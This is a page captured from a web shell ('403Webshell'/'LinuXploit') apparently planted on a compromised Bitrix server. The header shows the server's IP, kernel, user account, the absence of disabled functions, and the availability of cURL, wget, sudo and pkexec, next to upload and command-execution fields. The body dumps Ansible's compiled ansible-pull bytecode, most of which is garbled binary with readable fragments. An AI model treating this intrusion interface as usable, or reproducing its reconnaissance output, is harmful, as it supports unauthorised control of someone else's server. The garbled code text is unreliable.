403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/cli/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/cli/__pycache__/pull.cpython-311.pyc
�

���crB��2�ddlmZmZmZeZddlmZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlZddlmZddlmZddlmZddlmZddlmZmZdd	lmZdd
lm Z ddl!m"Z"e"��Z#Gd�d
e��Z$dd�Z%e&dkre%��dSdS)�)�absolute_import�division�print_function)�CLIN)�	constants)�context)�option_helpers)�AnsibleOptionsError)�	to_native�to_text)�
module_loader)�run_cmd)�Displayc���eZdZdZdZdZdZdZddd�Zd	d
iZ	dZ
ed���Z�fd
�Z
�fd�Z�fd�Zed���Zed���Z�xZS)�PullCLIaO Used to pull a remote copy of ansible on each managed node,
        each set to run via cron and update playbook source via a source repository.
        This inverts the default *push* architecture of ansible into a *pull* architecture,
        which has near-limitless scaling potential.

        None of the CLI tools are designed to run concurrently with themselves,
        you should use an external scheduler and/or locking to ensure there are no clashing operations.

        The setup playbook can be tuned to change the cron frequency, logging locations, and parameters to ansible-pull.
        This is useful both for extreme scale-out as well as periodic remediation.
        Usage of the 'fetch' module to retrieve logs from ansible-pull runs would be an
        excellent way to gather and analyze remote logs from ansible-pull.
    zansible-pull�gitz	local.yml)r�
subversion�hg�bzrzFile does not existzFile is not readable)���playbook.ymlaThe name of one the YAML format files to run as an Ansible playbook.This can be a relative path within the checkout. By default, Ansible willlook for a playbook based on the host's fully-qualified domain name,on the host hostname and finally a playbook named *local.yml*.Tc�,�d}tj�dd��rqtjdD]^}t|t��r|dd�|��zz
}�3d|vstj�|��r|d|zz
}�_|S)N��	inventoryFz	 -i '%s' �,z -i %s )	r�CLIARGS�get�
isinstance�list�join�os�path�exists)�inv_opts�invs  �5/usr/lib/python3.11/site-packages/ansible/cli/pull.py�_get_inv_clizPullCLI._get_inv_cliBs������?���{�E�2�2�	0���{�3�
0�
0���c�4�(�(�0���c�h�h�s�m�m� ;�;�H�H��C�Z�Z�2�7�>�>�#�#6�#6�Z��	�C��/�H����c����tt|���dd���tj|j��tj|j��tj|j��tj|j��tj	|j��tj
|j��tj|j��|j�dddd���|j�d	d
dd�
��|j�dddd
dd���|j�ddddd���|j�dddd
dd���|j�ddddd ���|j�d!d"d#dd$���|j�d%d&dd'�(��|j�d)d*d+d,�-��|j�d.d
d/dd0�1��|j�d2d3d4|j
d5|j�d6|j
�d7����|j�d8d9d
dd:���|j�d;d<d
dd=���|j�d>d?d
dd@���|j�dAd
dBddC�1��|j�dDtjdEddF�1��dS)Gz* create an options parser for bin/ansible z0%prog -U <repository> [options] [<playbook.yml>]zDpulls playbooks from a VCS repo and executes them for the local host)�usage�desc�argszPlaybook(s)r�*)�help�metavar�nargsz--purgeF�
store_truez!purge checkout after playbook run)�default�actionr/z-oz--only-if-changed�	ifchangedz8only run the playbook if the repository has been updated)�destr3r4r/z-sz--sleep�sleepNz|sleep for random interval (between 0 and n number of seconds) before starting. This is a useful way to disperse git requests)r6r3r/z-fz--force�forcez<run the playbook even if the repository could not be updatedz-dz--directoryr6zQabsolute path of repository checkout directory (relative paths are not supported)z-Uz--url�urlzURL of the playbook repositoryz--full�	fullclonez*Do a full clone, instead of a shallow one.)r6r4r/z-Cz
--checkout�checkoutzIbranch/tag/commit to checkout. Defaults to behavior of repository module.)r6r/z--accept-host-key�accept_host_keyz6adds the hostkey for the repo url if not already added)r3r6r4r/z-mz
--module-name�module_namezRRepository module name, which ansible will use to check out the repo. Choices are z
. Default is �.z--verify-commit�verifyz�verify GPG signature of checked out commit, if it fails abort running the playbook. This needs the corresponding VCS module to support such an operationz--clean�cleanz:modified files in the working repository will be discardedz--track-subs�	tracksubsztsubmodules will track the latest changes. This is equivalent to specifying the --remote flag to git submodule updatez--check�checkzRdon't make any changes; instead, try to predict some of the changes that may occurz--diff�diffzhwhen changing (small) files and templates, show the differences in those files; works great with --check)�superr�init_parser�opt_help�add_connect_options�parser�add_vault_options�add_runtask_options�add_subset_options�add_inventory_options�add_module_options�add_runas_prompt_options�add_argument�DEFAULT_REPO_TYPE�REPO_CHOICES�C�DIFF_ALWAYS)�self�	__class__s �r'rEzPullCLI.init_parserNs����	�g�t���(�(�D�W�	)�	Y�	Y�	Y�
	�$�T�[�1�1�1��"�4�;�/�/�/��$�T�[�1�1�1��#�D�K�0�0�0��&�t�{�3�3�3��#�D�K�0�0�0��)�$�+�6�6�6��� � ��m�^�[^� �_�_�_�	
�� � ��E�,�Ux� �y�y�y��� � ��':��V[�dp�&`�	!�	b�	b�	b��� � ��y�w��'V�	!�	W�	W�	W�	
�� � ��y�w��Vb�&d�	!�	f�	f�	f��� � ��}�6�4�&y�	!�	{�	{�	{��� � ��w�U�D�Oo� �p�p�p��� � ���L�XD� �	E�	E�	E��� � ��|�*�&q�	!�	s�	s�	s��� � �!4�e�J[�dp�&^�	!�	`�	`�	`��� � ���]�TX�Tj�Tj�)-�):�):�):�D�<R�<R�<R�'T�	!�	U�	U�	U�	
�� � �!2��5�Ye�'m�	!�	n�	n�	n�	
�� � ���%�P\�&b�	!�	d�	d�	d��� � ��k�5�Ye�']�	!�	^�	^�	^�	
�� � ��E��P\�&z�	!�	|�	|�	|��� � ��1�=�v�Vb�'Q�	!�	R�	R�	R�	R�	Rr)c����tt|���|��}|jsCt	j��}tj�tj
d|��|_tj�tj�|j����|_tj�
|j��r;tj�|j��std|jz���|jrU	t#jdt'|j����}||_n%#t($rtd|jz���wxYw|jstd���|j|jvr2td|j�dd�|j�������|jt2_|�|��|S)	N�pullz*%s is not a valid or accessible directory.rz%s is not a number.z1URL for repository not specified, use -h for helpzUnsupported repo module z, choices are r)rDr�post_process_argsr6�socket�getfqdnr"r#r!rR�ANSIBLE_HOME�
expandvars�
expanduserr$�isdirr
r7�random�randint�int�
ValueErrorr9r=rQ�	verbosity�display�validate_conflicts)rT�options�hostname�secsrUs    �r'rXzPullCLI.post_process_args�s�������&�&�8�8��A�A���|�	J��~�'�'�H��7�<�<�����I�I�G�L��w�)�)�"�'�*<�*<�W�\�*J�*J�K�K���
�7�>�>�'�,�'�'�	c���
�
�g�l�0K�0K�	c�%�&R�U\�Ua�&a�b�b�b��=�	Q�
Q��~�a��W�]�);�);�<�<�� $��
�
���
Q�
Q�
Q�)�*?�'�-�*O�P�P�P�
Q�����{�	[�%�&Y�Z�Z�Z���d�&7�7�7�%�%�V]�Vi�Vi�Vi�kn�ks�ks�tx�uF�lG�lG�lG�'H�I�I�
I�#�-�������(�(�(��s�!.E�"E2c����tt|�����tj���}t
�|�d����t
�d�tj	����tj��}tj
��}d�t|||�d��d|�d��dg����}|rd|z}nd}d}t jd	dkrC|d
d�d�t%dt jd	��D����zz
}|���}|s)d
}|dt)jdtjz��zz
}t jddkr�dt jd�dt jd��}t jdr|dt jdzz
}t jdr|dz
}t jdr|dt jdzz
}t jdr|dz
}t jdr|dz
}t jd s|d!z
}�n�t jdd"krkd#t jd�dt jd��}t jdr|d$t jdzz
}t jd s|d%z
}�nt jdd&krSd#t jd�dt jd��}t jdr|d$t jdzz
}n�t jdd'krSdt jd�dt jd��}t jdr|dt jdzz
}n=t/d(t jd�d)d�|j�������t jd*r|d+z
}t3jt jd��}	|	�"t/d-t jdz���t6j�t6j�tj	d����}
|
�d.|�d|�d/t jd�d0|�d1|�d2�}t jd3D]}|d4t)j|��zz
}�t jd5rQt
�d6t jd5z��t?j t jd5��t
�!d7��t
�"d8|z��tG|d9�:��\}
}}|
dkr/t jd;rt
�$d<��n4|
St jd=r d>|vrt
�d?��dS|�%t jd��}|�t/d@���|
�dA|�d|��}t jdBrt jdBD]
}|dC|zz
}�t jdDrt jdDD]
}|dE|zz
}�t jd3D]}|d4t)j|��zz
}�t jdFr|dGz
}t jdHr8|dItMd�t jdH����zz
}t jdJr8|dKtMd�t jdJ����zz
}t jdLr|dMt jdLzz
}n|dM|zz
}t jdNr|dOz
}t jdPr|dQz
}t7j't jd��|���}|r||z
}t
�!dR��t
�!d8|z��tG|d9�:��\}
}}t jdSr�t7j'dT��	tQj)t jd��nT#tT$rG}t
�+dUt jd�dVtY|������Yd,}~nd,}~wwxYw|
S)Wz! use Runner lib to do SSH things zStarting Ansible Pull at %F %T� rr>rzlocalhost,%s,127.0.0.1zlocalhost,127.0.0.1z	-c local rcz -%src��g|]}d��S)�v�)�.0�xs  r'�
<listcomp>zPullCLI.run.<locals>.<listcomp>�s��*_�*_�*_�1�3�*_�*_�*_r)z -i localhost, z-e %s zansible_python_interpreter=%sr=rzname=r9z dest=r6r;z version=%sr<z accept_hostkey=yes�private_key_filez key_file=%sr?z verify_commit=yesrAz track_submodules=yesr:z depth=1rzrepo=z revision=%sz export=yesrrz
Unsupported (z$) SCM module for pull, choices are: r@z
 force=yesNzmodule '%s' not found.
z	/ansible z -m z -a "z
" all -l "�"�
extra_varsz -e %sr7zSleeping for %d seconds...z0running ansible with VCS module to checkout repozEXEC: %sT)�liver8zFUnable to update repository. Continuing with (forced) run of playbook.r5s"changed": truez%Repository has not changed, quitting.z!Could not find a playbook to run.z/ansible-playbook �vault_password_filesz --vault-password-file=%s�	vault_idsz --vault-id=%s�become_ask_passz --ask-become-pass�	skip_tagsz --skip-tags "%s"�tagsz -t "%s"�subsetz -l "%s"rBz -CrCz -Dz*running ansible-playbook to do actual work�purge�/zFailed to remove �: )-rDr�run�datetime�nowrd�strftimer!�sys�argv�platform�noderYrZ�set�splitrr�ranger(�shlex�quote�
executabler
rQr
�find_pluginr"r#�dirname�abspath�timer7�debug�vvvvr�warning�select_playbookr�chdir�shutil�rmtree�	Exception�errorr)rTr�r��host�	hostnames�
limit_opts�	base_optsr%�	repo_optsr#�bin_path�cmd�ev�rc�b_out�b_err�playbook�vault_password_file�vault_id�erUs                    �r'r~zPullCLI.run�s����	�g�t��� � �"�"�"���#�#�%�%��������%E�F�F�G�G�G���������*�*�+�+�+��}�����~�����H�H�S�$��d�j�j��o�o�a�.@�$�*�*�S�/�/�RS�BT�!U�V�V�W�W�	��	/�1�I�=�J�J�.�J��	��?�;�'�!�+�+���"�'�'�*_�*_��a���Q\�A]�8^�8^�*_�*_�*_�"`�"`�`�`�I��$�$�&�&���	a�(�H���5�;�/N�QT�Q_�/_�#`�#`�`�`�H��?�=�)�U�2�2�2�-4�_�U�-C�-C�-C�W�_�U[�E\�E\�]�I���z�*�
I��]�W�_�Z�-H�H�H�	���0�1�
3��2�2�	���1�2�
R��^�g�o�>P�.Q�Q�Q�	���x�(�
2��1�1�	���{�+�
5��4�4�	��?�;�/�
(��Z�'�	��
�_�]�
+�|�
;�
;�
;�-4�_�U�-C�-C�-C�W�_�U[�E\�E\�]�I���z�*�
J��^�g�o�j�.I�I�I�	��?�;�/�
+��]�*�	��
�_�]�
+�t�
3�
3�
3�-4�_�U�-C�-C�-C�W�_�U[�E\�E\�]�I���z�*�
J��^�g�o�j�.I�I�I�	��
�_�]�
+�u�
4�
4�
4�-4�_�U�-C�-C�-C�W�_�U[�E\�E\�]�I���z�*�
I��]�W�_�Z�-H�H�H�	��%�%�)0���)G�)G�)G�),���$�2C�)D�)D�)D�'F�G�G�
G�
�?�7�#�	&���%�I��(����)G�H�H���<�%�'A�G�O�Ta�Db�'b�d�d�d��7�?�?�2�7�?�?�3�8�A�;�#?�#?�@�@��>F�h�h����R[�R[�R[�>E�o�m�>\�>\�>\�>G�i�i����U���/�,�/�	.�	.�B��8�e�k�"�o�o�-�-�C�C��?�7�#�	1��O�O�8�7�?�7�;S�S�T�T�T��J�w��w�/�0�0�0�	�
�
�H�I�I�I����Z�#�%�&�&�&�"�3�T�2�2�2���E�5�
��7�7���w�'�
���� h�i�i�i�i��	�
�_�[�
)�	�.@��.M�.M��O�O�C�D�D�D��1��'�'����(?�@�@����%�&I�J�J�J�.6�X�X�y�y�y�(�(�K���?�1�2�	I�'.��7M�'N�
I�
I�#��2�5H�H�H����?�;�'�	3�#�O�K�8�
3�
3���'�(�2�2����/�,�/�	.�	.�B��8�e�k�"�o�o�-�-�C�C��?�,�-�	(��'�'�C��?�;�'�	\��&��4�9�9�W�_�[�=Y�3Z�3Z�)[�)[�[�[�C��?�6�"�	N��:�	�$�)�)�G�O�F�4K�*L�*L� M� M�M�M�C��?�8�$�	+��:���� 9�9�9�C�C��:�
�*�*�C��?�7�#�	��5�L�C��?�6�"�	��5�L�C�
�����(�)�)�)��$�$�&�&���	��8�O�C�	�
�
�B�C�C�C��
�
�j�3�&�'�'�'�"�3�T�2�2�2���E�5��?�7�#�	b��H�S�M�M�M�
b��
�g�o�f�5�6�6�6�6���
b�
b�
b��
�
�
�G�O�F�<S�<S�<S�U\�]^�U_�U_�U_�`�a�a�a�a�a�a�a�a�����
b�����	s�,$d�
e"�=e�e"c��tj�|��sdStj|tj��sdSdS)Nrrr)r"r#r$�access�R_OK)r#s r'�try_playbookzPullCLI.try_playbook<s=���w�~�~�d�#�#�	��1��y��r�w�'�'�	��1��qr)c���d}g}tjd�r8tjdd��g}tjdD]�}tj�||��}t
�|��}|dkr+|�|�dt
j|�����m|�|����dt|��kr.t�d�|����nEt|��ttjd��krd�|��}|Stj
��}tj�||dz��}tj�||�d��ddz��}	tj�|t
j��}
||	|
fD]P}t
�|��}|dkr|}n+|�|�dt
j|�����Q|�-t�d�|����|S)Nr-rr}�
rjz.ymlr>)rrr"r#r!rr��append�PLAYBOOK_ERRORS�lenrdr�rYrZr��DEFAULT_PLAYBOOK)r#r��errors�	playbooks�book�	book_pathr��fqdn�hostpb�shorthostpb�localpb�pbs            r'r�zPullCLI.select_playbookDs�������?�6�"�	�w��v�'>�q�'A�'M��I����/�
,�
,���G�L�L��t�4�4�	��)�)�)�4�4����7�7��M�M�i�i�i��9P�QS�9T�9T�"U�V�V�V��� � ��+�+�+�+��3�v�;�;�������	�	�&� 1� 1�2�2�2�2��Y���3�w��v�'>�#?�#?�?�?��8�8�I�.�.���O��>�#�#�D��W�\�\�$��v�
�6�6�F��'�,�,�t�T�Z�Z��_�_�Q�-?�&�-H�I�I�K��g�l�l�4��)A�B�B�G��{�G�4�
P�
P���)�)�"�-�-����7�7�!�H��E��M�M�b�b�b�'�2I�"�2M�2M�"N�O�O�O�O�������	�	�&� 1� 1�2�2�2��Or))�__name__�
__module__�__qualname__�__doc__�namerPr�rQr��	ARGUMENTS�SKIP_INVENTORY_DEFAULTS�staticmethodr(rErXr~r�r��
__classcell__)rUs@r'rr#s����������D���"��5�L� �!���O� �"b�e�I�
#���	�	��\�	�2R�2R�2R�2R�2R�h�����<Z�Z�Z�Z�Z�x����\������\�����r)rc�:�t�|��dS�N)r�cli_executor)r-s r'�mainr�gs����������r)�__main__r�)'�
__future__rrr�type�
__metaclass__�ansible.clirrr"r�r_r�r�rYr�r��ansiblerrRr�ansible.cli.argumentsr	rF�ansible.errorsr
�ansible.module_utils._textrr�ansible.plugins.loaderr
�ansible.utils.cmd_functionsr�ansible.utils.displayrrdrr�r�rmr)r'�<module>r�s���C�B�B�B�B�B�B�B�B�B��
�����������	�	�	�	�����
�
�
�
�����
�
�
�
�
�
�
�
�
�
�
�
�����"�"�"�"�"�"�������<�<�<�<�<�<�.�.�.�.�.�.�9�9�9�9�9�9�9�9�0�0�0�0�0�0�/�/�/�/�/�/�)�)�)�)�)�)�
�'�)�)��A�A�A�A�A�c�A�A�A�H
�����z����D�F�F�F�F�F��r)

Youez - 2016 - github.com/yon3zu
LinuXploit